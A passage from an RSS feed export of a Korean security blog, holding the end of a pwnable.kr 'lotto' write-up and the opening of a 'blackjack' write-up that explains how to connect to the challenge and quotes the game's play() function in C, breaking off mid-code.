192);&quot;&gt;45개의 문자중 6개의 순서를 모두 맞추는 것보다 45개의 중 6개의 문자 하나를 맞추는 확률이 훨씬 더 높기 때문이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/235</guid>
      <comments>https://marcokhan.tistory.com/235#entry235comment</comments>
      <pubDate>Thu, 27 Dec 2018 16:10:00 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr] blackjack 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/234</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;pwnable.kr --- blackjack&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;자신의 서버에 접속한 뒤&amp;nbsp;&lt;span style=&quot;background-color: rgb(206, 251, 201);&quot;&gt;nc pwnable.kr 9009&lt;/span&gt;로 접속하면 blackjack 문제를 만날 수 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;nc pwnable.kr 9009로 접속하면 바로 blackjack 파일이 실행되는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;blackjack에 관한 전체 소스는 아래의 경로로 접속 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;모든 소스를 설명하기는 길기 때문에 중요 소스만 부분 부분 보면서 write-up을 진행한다.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;blackjack에서 제일 주목할 부분은 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;play()에서 사용된 함&lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;수&lt;/span&gt;이다.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;play() 함수는 blackjack을 실행하기 위한 핵심 함수이다.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;29&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;30&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;31&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;33&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;34&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;35&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;36&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;37&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;38&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;39&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;41&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;42&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;43&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;45&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;46&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;47&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;48&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;49&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;50&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;51&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;52&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;53&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;54&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;55&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;56&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;57&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;58&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;59&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;60&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;61&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;62&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;63&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;65&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;66&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;67&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;68&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;69&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;70&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;71&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;72&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;73&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;74&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;75&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;76&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;77&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;78&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;79&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;81&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;82&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;83&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;84&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;85&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;86&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;87&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;88&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;89&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;play()&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Plays&amp;nbsp;game&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;p&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;holds&amp;nbsp;value&amp;nbsp;of&amp;nbsp;player_total&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;counter&amp;nbsp;for&amp;nbsp;asking&amp;nbsp;user&amp;nbsp;to&amp;nbsp;hold&amp;nbsp;or&amp;nbsp;stay&amp;nbsp;(aka&amp;nbsp;game&amp;nbsp;turns)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;choice3;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cash&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;cash;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cash_test();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nCash:&amp;nbsp;$%d\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,cash);&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Prints&amp;nbsp;amount&amp;nbsp;of&amp;nbsp;cash&amp;nbsp;user&amp;nbsp;has&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;randcard();&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Generates&amp;nbsp;random&amp;nbsp;card&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;player_total&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;p&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;l;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Computes&amp;nbsp;player&amp;nbsp;total&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;player_total;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nYour&amp;nbsp;Total&amp;nbsp;is&amp;nbsp;%d\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;p);&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Prints&amp;nbsp;player&amp;nbsp;total&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dealer();&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Computes&amp;nbsp;and&amp;nbsp;prints&amp;nbsp;dealer&amp;nbsp;total&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;betting();&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Prompts&amp;nbsp;user&amp;nbsp;to&amp;nbsp;enter&amp;nbsp;bet&amp;nbsp;amount&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//While&amp;nbsp;loop&amp;nbsp;used&amp;nbsp;to&amp;nbsp;keep&amp;nbsp;asking&amp;nbsp;user&amp;nbsp;to&amp;nbsp;hit&amp;nbsp;or&amp;nbsp;stay&amp;nbsp;at&amp;nbsp;most&amp;nbsp;twenty-one&amp;nbsp;times&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;&amp;nbsp;because&amp;nbsp;there&amp;nbsp;is&amp;nbsp;a&amp;nbsp;chance&amp;nbsp;user&amp;nbsp;can&amp;nbsp;generate&amp;nbsp;twenty-one&amp;nbsp;consecutive&amp;nbsp;1's&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(p&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 